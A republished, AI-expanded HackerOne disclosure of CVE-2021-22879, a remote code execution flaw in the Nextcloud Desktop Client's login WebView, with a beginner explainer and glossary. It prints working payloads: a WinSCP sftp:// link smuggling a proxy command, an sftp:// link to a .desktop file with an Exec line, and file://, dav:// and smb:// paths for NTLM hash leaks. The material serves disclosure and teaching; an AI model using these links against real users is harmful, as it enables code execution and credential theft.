Skip to content
RCE Disclosed report Intermediate CVE-2021-22879

Nextcloud Desktop Client RCE via malicious URI schemes

The Nextcloud Desktop client opens links from a server-provided login page using the operating system's default handler for any URI scheme, without validation. A malicious server can serve a login page with links that, when clicked, launch external applications and can lead to arbitrary code execution or NTLM hash leakage.

7a69 Follow

Originally disclosed on HackerOne

Bounty$1,000 Medium 4.7 View original
  • Triaged in 14 hours
  • Fixed in 27 days
  • Paid in 27 days
  • Disclosed after 3 months

Nextcloud Desktop utilizes QT's QDesktopServices::openUrl() to open URLs. This function invokes the OS'/Desktop environment's default application to handling the URI scheme and file extension.

During the Nextcloud Add Account flow, the server's login website is opened within a native window/WebView. A malicious server can serve a login website containing links with arbitrary URI schemes. Clicking those links immediately invokes the OS' default application to handle the URI.

This can be exploited in various ways, depending on the OS and configuration, to e.g. gain arbitrary code execution:

Exploitation on Windows

Many Windows developers and users in need of an scp/sftp/ftp/s3 client install 3rd party software, with WinSCP being the most common by far (2.1m downloads since 2020-11-20, >150m overall). Nextcloud Desktop Windows users that have WinSCP installed can be immediately exploited through the following link:

  • sftp://youtube:com;watch=sn96aVA2;x-proxymethod=5;[email protected]/ (not shown to the user in the connection assistant window, even on hover)

A demo video is attached. This utilizes "advanced" connection settings that are parsed by WinSCP when opening an sftp link. By specifying the "Local" proxy mode, an arbitrary command can be set, ran immediately even before the connection is established.

Default config

Other abusable URI schemes are e.g. file:// and dav(s)://. Those can leak NTLM hashes and, by referencing remote executables (.exe/.bat/.com/...) also lead to RCE on hosts that don't have WinSCP installed (with a confirmation needed to run the application).

Exploitation on Linux (Xubuntu 20.04)

On Linux, the exact opening behavior and therefore exploitation strategy is dependent on the Desktop Environment and its configuration. As an example, serving the following URL allows to run arbitrary code on Xubuntu 20.04 in its default configuration:

  • sftp://nextclouduser@<server>/example.desktop

A demo video is attached. By specifying a username that is configured with an empty password on the server, this remote location is auto-mounted and the .desktop file (with executable-flag set) is opened with its default application, which will execute the specified command [1]. Please note: As seen in the video, if the client has never connected via SSH to the host before, the user is asked to accept the SSH host key. However, this prompt is perfectly embedded in the login flow (showing the same Nextcloud server address and the note that "this happens when you login for the first time").

Also, please note, that depending on the system configuration, also other URI schemes and file types can be used for exploitation, e.g. smb:// for loading remote samba shares, and .jar files to run Java programs.

Recommendation

Use a strict allowlist to filter all URLs before passing them to QDesktopServices::openURL(). For the login window, I think the responsible code is here. Only the "http://" and "https://" URI scheme should be allowed here. All QDesktopServices::openURL() calls should be checked to verify that no unvalidated user/server input is be passed.

[1] .desktop file: [Desktop Entry] Exec=xmessage "Arbitrary RCE :)" Type=Application

Impact

Arbitrary code execution and NTLM hash leak.

Attachments

nextcloud_rce_win.mp4 From the original on HackerOne
nextcloud_rce_xubuntu.mp4

The original report as published on HackerOne, by 7a69. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The Nextcloud Desktop Client is the native synchronisation client for Nextcloud servers. Part of its onboarding is an Add Account flow: the user enters a server address, and the client opens the server's login website inside a native window backed by a WebView so the user can authenticate.

The client uses Qt's QDesktopServices::openUrl() to open URLs. That function hands the URI to the operating system or desktop environment, which launches whatever application is registered as the default handler for the URI scheme or file extension. The report is about what happens when the content rendered in that login WebView is controlled by a malicious server and contains links with arbitrary URI schemes: clicking such a link immediately invokes the OS default handler, and depending on the OS and its configuration this can lead to arbitrary code execution.

Setup

The attack requires a malicious Nextcloud server that the victim adds as an account, so that its login page is rendered in the client's native login window. The exploitation path then depends on the victim's platform and installed software:

  • Windows: the most reliable path relies on WinSCP being installed, which the report describes as by far the most common third-party scp/sftp/ftp/s3 client among Windows developers and users (2.1m downloads since 2020-11-20, more than 150m overall).
  • Linux: the report demonstrates Xubuntu 20.04 in its default configuration. The exact opening behaviour, and therefore the exploitation strategy, depends on the desktop environment and its configuration.

Finding it

The researcher noticed that the desktop client delegates URL opening to QDesktopServices::openUrl(), which invokes the OS or desktop environment's default application for the URI scheme and file extension. Because the login website is rendered inside a native window/WebView during the Add Account flow, a malicious server can serve a login page containing links with arbitrary URI schemes. Clicking those links immediately invokes the OS default application for the URI, with no allowlist in between.

Exploitation

Step 1: Serve a login page with a malicious link

The attacker's Nextcloud server returns a login page whose links use an arbitrary URI scheme. When the victim adds this server as an account, the page is displayed in the native login window, and clicking the link triggers the OS handler.

Step 2: Windows with WinSCP installed

On Windows hosts with WinSCP installed, the following link is enough:

Text
sftp://youtube:com;watch=sn96aVA2;x-proxymethod=5;x-proxytelnetcommand=[redacted]/

The report notes that this URL is not shown to the user in the connection assistant window, even on hover. It abuses WinSCP's "advanced" connection settings, which are parsed when an sftp link is opened: by specifying the "Local" proxy mode, an arbitrary command can be set and is run immediately, even before the connection is established. In the example the command is calc.exe.

nextcloud_rce_win.mp4 From the original on HackerOne

The attached video demonstrates this path.

Step 3: Windows without WinSCP (default config)

Other abusable URI schemes include file:// and dav(s)://. These can leak NTLM hashes and, by referencing remote executables (.exe, .bat, .com, and so on), can also lead to RCE on hosts that do not have WinSCP installed. In that case the user has to confirm running the application.

Step 4: Linux (Xubuntu 20.04)

On Linux, serving the following URL allows arbitrary code to run on Xubuntu 20.04 in its default configuration:

Text
sftp://nextclouduser@<server>/example.desktop

By specifying a username that is configured with an empty password on the server, the remote location is auto-mounted, and the .desktop file (with the executable flag set) is opened with its default application, which executes the specified command. The .desktop file used in the report is:

Text
[Desktop Entry]
Exec=xmessage "Arbitrary RCE :)"
Type=Application
nextcloud_rce_xubuntu.mp4 From the original on HackerOne

One caveat shown in the video: if the client has never connected to the host over SSH before, the user is asked to accept the SSH host key. That prompt is embedded in the login flow, showing the same Nextcloud server address and a note that this happens when logging in for the first time, so it blends into the expected experience.

Depending on the system configuration, other URI schemes and file types can be used as well, for example smb:// for loading remote Samba shares and .jar files to run Java programs.

Root cause

The client passes URLs to QDesktopServices::openURL() without validating their scheme. Because the login page is rendered in a native WebView and its content comes from the server being added, a malicious server controls the links the user can click, and any scheme reaches the OS handler. The report points to the login window code in src/gui/wizard/webview.cpp (lines 226 to 232 of the referenced revision) as the responsible place, and states that only the http:// and https:// URI schemes should be allowed there. It also recommends checking all QDesktopServices::openURL() calls to verify that no unvalidated user or server input is passed to them.

Impact

Arbitrary code execution and NTLM hash leak. The code execution paths are conditional: on Windows they depend on WinSCP being installed (immediate execution) or on the user confirming the launch of a remote executable; on Linux they depend on the desktop environment and its configuration, with Xubuntu 20.04 in its default configuration demonstrated. The report lists file:// and dav(s):// as other abusable schemes that can leak NTLM hashes.

Fix

The recommendation is to use a strict allowlist to filter all URLs before passing them to QDesktopServices::openURL(). For the login window, only the http:// and https:// URI schemes should be allowed. All QDesktopServices::openURL() calls should be checked to ensure no unvalidated user or server input is passed to them.

Variants to test

  • Other URI schemes on Windows: try file:// and dav(s):// links in the login page. A positive result is an outbound authentication attempt that leaks an NTLM hash, or a prompt to run a remote executable.
  • Other URI schemes on Linux: try smb:// links to load remote Samba shares, and links to .jar files to run Java programs. A positive result is the default handler mounting or executing the remote resource.
  • Other desktop environments: the report stresses that Linux behaviour depends on the desktop environment and its configuration, so the same .desktop technique is worth trying wherever the default handler for sftp:// auto-mounts and opens files.
  • Other default handlers: any scheme registered to an application that parses attacker-controlled parameters (as WinSCP does with its advanced connection settings) is a candidate; a positive result is command execution before any connection is established.

Hunting notes

This class of bug hides where a desktop or mobile client renders server-controlled content in an embedded browser and then hands URLs to the OS.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 14 min read.

What happened, in plain words

Nextcloud is a piece of software that lets you keep your files on a server you control and have them synchronised across your computers. To use it on a desktop or laptop, you install the Nextcloud Desktop Client, a small program that runs on your machine and keeps a folder in sync with the server. The first time you use it, you go through an Add Account flow: you type in the address of your server, and the client shows you that server's login page so you can sign in.

That login page is not shown in your normal web browser. It is shown inside a small built-in browser window that lives inside the Nextcloud client itself. A built-in browser like this is called a WebView: it is the same engine a browser uses, but embedded in another program, without an address bar or the usual browser controls.

The problem the researcher found is about what happens when you click a link on that login page. The client does not open links itself. Instead it asks the operating system to open them, using a function called QDesktopServices::openUrl(). The operating system then looks at the link and launches whatever program is registered to handle that kind of link. This is exactly what happens when you click a mailto: link on a website and your email program pops up, or a tel: link on your phone and the dialler opens.

Now the key point: the login page comes from the server you are adding. If that server is malicious, it can put any kind of link it likes on its login page. When you click such a link, the operating system launches the matching program, and depending on which programs you have installed and how your system is set up, that can end with an attacker running their own commands on your computer. That is called arbitrary code execution, often shortened to RCE (remote code execution): someone else gets your machine to run code of their choosing.

The researcher demonstrated this on Windows and on Linux, with two demo videos.

The pieces involved

Before walking through the attack, here are the parts of the system that matter, explained from scratch.

The Nextcloud Desktop Client and the Add Account flow

The desktop client is the program you install on your computer. Its job is to keep a local folder and a remote Nextcloud server in step: you drop a file in the folder, it appears on the server, and the other way round.

To do that it first needs to know which server to talk to and who you are. The Add Account flow is that setup step. You enter a server address, and the client opens the server's login website so you can authenticate. That website is rendered inside a native window backed by a WebView, as described above. "Native window" just means a window drawn by the client program itself, not a tab in Firefox or Chrome.

URI schemes

A URI scheme is the part of a link before the colon. In https://example.com, the scheme is https. In mailto:[redacted], it is mailto. In sftp://..., it is sftp.

The scheme tells the operating system what kind of thing the link points at, and therefore which program should handle it. Your computer keeps a table of these associations: https goes to your browser, mailto to your mail program, sftp to whatever file transfer program you have installed, and so on. This table is sometimes called the handler registry.

QDesktopServices::openUrl()

QDesktopServices::openUrl() is a function from Qt, a toolkit that many desktop programs are built with. When a program calls it with a URL, Qt does not open the URL itself. It passes the URL to the operating system or desktop environment, which then launches the default application registered for that scheme or file extension.

Think of it as the program handing a sealed envelope to the post office: the program does not decide where the letter goes, the post office does, based on the address on the envelope. If the program lets anyone write the address, anyone can decide which door the letter ends up at.

That is the heart of this report. The client hands URLs to the operating system without checking which schemes are allowed. The report calls this a Resource Injection weakness: data that should be treated as inert (a link on a page) is instead interpreted as an instruction (open this program with these settings).

The login WebView as the delivery point

During the Add Account flow, the content of the login window comes from the server being added. A malicious server therefore controls what links appear on that page. The victim does not have to visit a strange website or download anything: they just add an account, as they would with any server, and click a link on the login page that the server put there.

Finding it

The researcher noticed that the desktop client delegates URL opening to QDesktopServices::openUrl(), which invokes the operating system or desktop environment's default application for the URI scheme and file extension. Because the login website is rendered inside a native window and WebView during the Add Account flow, a malicious server can serve a login page containing links with arbitrary URI schemes. Clicking those links immediately invokes the operating system's default application for the URI, with no allowlist in between.

An allowlist is a list of things that are explicitly permitted, with everything else refused. The opposite, a blocklist, lists things that are forbidden and allows the rest. The report's point is that there was no allowlist here: any scheme the server chose would be passed straight to the operating system.

Exploitation

The attack requires a malicious Nextcloud server that the victim adds as an account, so that its login page is rendered in the client's native login window. The exploitation path then depends on the victim's platform and installed software:

  • Windows: the most reliable path relies on WinSCP being installed, which the report describes as by far the most common third-party scp/sftp/ftp/s3 client among Windows developers and users (2.1m downloads since 2020-11-20, more than 150m overall).
  • Linux: the report demonstrates Xubuntu 20.04 in its default configuration. The exact opening behaviour, and therefore the exploitation strategy, depends on the desktop environment and its configuration.

Step 1: Serve a login page with a malicious link

The attacker's Nextcloud server returns a login page whose links use an arbitrary URI scheme. When the victim adds this server as an account, the page is displayed in the native login window, and clicking the link triggers the operating system handler.

Why this step matters: the attacker cannot change the Nextcloud client on the victim's machine. What the attacker can control is the server, and therefore the page the client displays. The link is the bridge between the two.

Step 2: Windows with WinSCP installed

WinSCP is a popular free file transfer program for Windows. It handles sftp:// links, among others. On Windows hosts with WinSCP installed, the following link is enough:

Text
sftp://youtube:com;watch=sn96aVA2;x-proxymethod=5;x-proxytelnetcommand=[redacted]/

Line by line, in plain words:

  • sftp:// is the scheme. It tells Windows to hand this link to the program registered for sftp, which on a machine with WinSCP installed is WinSCP.
  • youtube:com;watch=sn96aVA2 is the part that looks like a username. It is not a real YouTube address; it is just text placed where WinSCP expects a username.
  • ;x-proxymethod=5 is one of WinSCP's "advanced" connection settings, smuggled in after a semicolon. It selects the "Local" proxy mode.
  • ;x-proxytelnetcommand=calc.exe is another advanced setting. In Local proxy mode, WinSCP lets you specify a command to run, and here that command is calc.exe, the Windows calculator. Any command could be placed here.
  • @foo.bar/ is the host part, the server the link claims to point at. It is irrelevant to the attack, because the command runs before any connection is made.

The report notes that this URL is not shown to the user in the connection assistant window, even on hover. In other words, even a careful user who moves the mouse over the link to see where it goes would not see the dangerous parts. It abuses WinSCP's advanced connection settings, which are parsed when an sftp link is opened: by specifying the "Local" proxy mode, an arbitrary command can be set and is run immediately, even before the connection is established.

nextcloud_rce_win.mp4 From the original on HackerOne

The attached video demonstrates this path.

Step 3: Windows without WinSCP (default config)

Other abusable URI schemes include file:// and dav(s)://. These can leak NTLM hashes and, by referencing remote executables (.exe, .bat, .com, and so on), can also lead to RCE on hosts that do not have WinSCP installed. In that case the user has to confirm running the application.

Two concepts need unpacking here.

NTLM is an older Windows authentication protocol. When a Windows machine tries to access a resource on another machine, it can automatically prove who it is by sending a value derived from the user's password, called an NTLM hash. If an attacker can make the victim's machine attempt such an authentication against a server the attacker controls, the attacker receives that hash and can try to crack it offline or relay it to another service. A file:// link pointing at a remote share is one way to trigger that attempt.

Executables are files the operating system can run: .exe, .bat, .com and similar. If a link points at an executable on a remote share, Windows may offer to run it. The user has to confirm, which is why this path is less reliable than the WinSCP one, but it still works on machines without WinSCP.

Step 4: Linux (Xubuntu 20.04)

On Linux, serving the following URL allows arbitrary code to run on Xubuntu 20.04 in its default configuration:

Text
sftp://nextclouduser@<server>/example.desktop

Line by line:

  • sftp:// is again the scheme, this time handled by the Linux desktop's file manager or file transfer component.
  • nextclouduser is a username on the server. The report specifies that this username is configured with an empty password on the server.
  • @<server> is the server address, replaced here with a placeholder.
  • /example.desktop is the path to a file on that server.

By specifying a username that is configured with an empty password on the server, the remote location is auto-mounted, and the .desktop file (with the executable flag set) is opened with its default application, which executes the specified command. "Auto-mounted" means the system connects to the remote location and makes it look like a local folder without asking the user for a password. A .desktop file is Linux's equivalent of a Windows shortcut: a small text file that describes a program to launch. The .desktop file used in the report is:

Text
[Desktop Entry]
Exec=xmessage "Arbitrary RCE :)"
Type=Application

Line by line:

  • [Desktop Entry] marks the start of the section that describes the application. Every .desktop file begins with it.
  • Exec=xmessage "Arbitrary RCE :)" is the command to run. xmessage is a tiny program that pops up a message box, and the text in quotes is what it displays. In a real attack this would be any command the attacker wanted.
  • Type=Application says this entry describes an application, as opposed to a link or a directory.
nextcloud_rce_xubuntu.mp4 From the original on HackerOne

One caveat shown in the video: if the client has never connected to the host over SSH before, the user is asked to accept the SSH host key. SSH is the encrypted protocol used to log in to remote machines, and the first time you connect to a new machine, SSH shows you a fingerprint and asks you to confirm it is the right one. That prompt is embedded in the login flow, showing the same Nextcloud server address and a note that this happens when logging in for the first time, so it blends into the expected experience. In other words, the one moment where a cautious user might stop and think looks like a normal part of signing in.

Depending on the system configuration, other URI schemes and file types can be used as well, for example smb:// for loading remote Samba shares and .jar files to run Java programs. SMB is the file-sharing protocol Windows and Samba use on local networks, and a .jar file is a packaged Java program that the Java runtime will execute when opened.

Root cause

The client passes URLs to QDesktopServices::openURL() without validating their scheme. Because the login page is rendered in a native WebView and its content comes from the server being added, a malicious server controls the links the user can click, and any scheme reaches the operating system handler. The report points to the login window code in src/gui/wizard/webview.cpp (lines 226 to 232 of the referenced revision) as the responsible place, and states that only the http:// and https:// URI schemes should be allowed there. It also recommends checking all QDesktopServices::openURL() calls to verify that no unvalidated user or server input is passed to them.

In plain terms: the program trusted the link. It should have asked "is this one of the two schemes I expect on a login page?" and refused everything else. Instead it passed whatever it was given to the operating system, which happily launched the matching program.

Impact

Arbitrary code execution and NTLM hash leak. The code execution paths are conditional: on Windows they depend on WinSCP being installed (immediate execution) or on the user confirming the launch of a remote executable; on Linux they depend on the desktop environment and its configuration, with Xubuntu 20.04 in its default configuration demonstrated. The report lists file:// and dav(s):// as other abusable schemes that can leak NTLM hashes.

Fix

The recommendation is to use a strict allowlist to filter all URLs before passing them to QDesktopServices::openURL(). For the login window, only the http:// and https:// URI schemes should be allowed. All QDesktopServices::openURL() calls should be checked to ensure no unvalidated user or server input is passed to them.

Why an allowlist rather than a blocklist: there are many schemes, and new programs register new ones all the time. Listing the two that are legitimate is short, stable and easy to check. Listing everything dangerous is a moving target.

Variants to test

These are the follow-up checks a tester would run, and what counts as a positive result.

  • Other URI schemes on Windows: try file:// and dav(s):// links in the login page. A positive result is an outbound authentication attempt that leaks an NTLM hash, or a prompt to run a remote executable.
  • Other URI schemes on Linux: try smb:// links to load remote Samba shares, and links to .jar files to run Java programs. A positive result is the default handler mounting or executing the remote resource.
  • Other desktop environments: the report stresses that Linux behaviour depends on the desktop environment and its configuration, so the same .desktop technique is worth trying wherever the default handler for sftp:// auto-mounts and opens files.
  • Other default handlers: any scheme registered to an application that parses attacker-controlled parameters (as WinSCP does with its advanced connection settings) is a candidate; a positive result is command execution before any connection is established.

Hunting notes

This class of bug hides where a desktop or mobile client renders server-controlled content in an embedded browser and then hands URLs to the operating system.

Glossary

  • Nextcloud: software for running your own file storage and sync server.
  • Nextcloud Desktop Client: the program installed on a computer that keeps a local folder in sync with a Nextcloud server.
  • Add Account flow: the setup step where you enter a server address and sign in through the server's login page.
  • WebView: a browser engine embedded inside another program, showing web pages without the usual browser controls.
  • Native window: a window drawn by the program itself rather than by a separate browser.
  • URI scheme: the part of a link before the colon (https, mailto, sftp) that tells the system what kind of link it is.
  • URI handler / default handler: the program the operating system launches for a given scheme or file type.
  • Qt: a toolkit used to build desktop programs, which includes the URL-opening function in this report.
  • QDesktopServices::openUrl(): a Qt function that hands a URL to the operating system to open with the default handler.
  • Allowlist: a list of things explicitly permitted, with everything else refused.
  • Blocklist: a list of things forbidden, with everything else allowed.
  • Resource Injection: a weakness where data meant to be inert is interpreted as an instruction by the system.
  • Arbitrary code execution / RCE: getting a victim's machine to run code chosen by an attacker.
  • WinSCP: a popular free file transfer program for Windows that handles sftp:// links.
  • sftp: a file transfer protocol over SSH, addressed with the sftp:// scheme.
  • Proxy mode: a WinSCP connection setting that decides how connections are routed; the "Local" mode allows a command to be specified.
  • NTLM: an older Windows authentication protocol whose hashes can be captured and cracked or relayed.
  • NTLM hash: a value derived from a Windows password, sent during NTLM authentication.
  • Executable: a file the operating system can run, such as .exe, .bat or .com.
  • Xubuntu 20.04: a Linux distribution built on Ubuntu with the Xfce desktop environment.
  • Desktop environment: the collection of programs that provide a Linux system's graphical interface and file handling.
  • Auto-mount: connecting to a remote location and making it available like a local folder without asking for a password.
  • .desktop file: a Linux text file describing an application to launch, similar to a Windows shortcut.
  • Exec line: the line in a .desktop file that gives the command to run.
  • SSH: an encrypted protocol for logging in to remote machines.
  • SSH host key: the fingerprint a server presents on first connection, which the user is asked to accept.
  • SMB / Samba: a file-sharing protocol used on local networks, addressed with smb://.
  • .jar file: a packaged Java program that the Java runtime executes when opened.
  • CVSS: a scoring system for rating the severity of a vulnerability.
  • Bounty: a payment made by a program to a researcher who reports a valid vulnerability.

More from Nextcloud

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.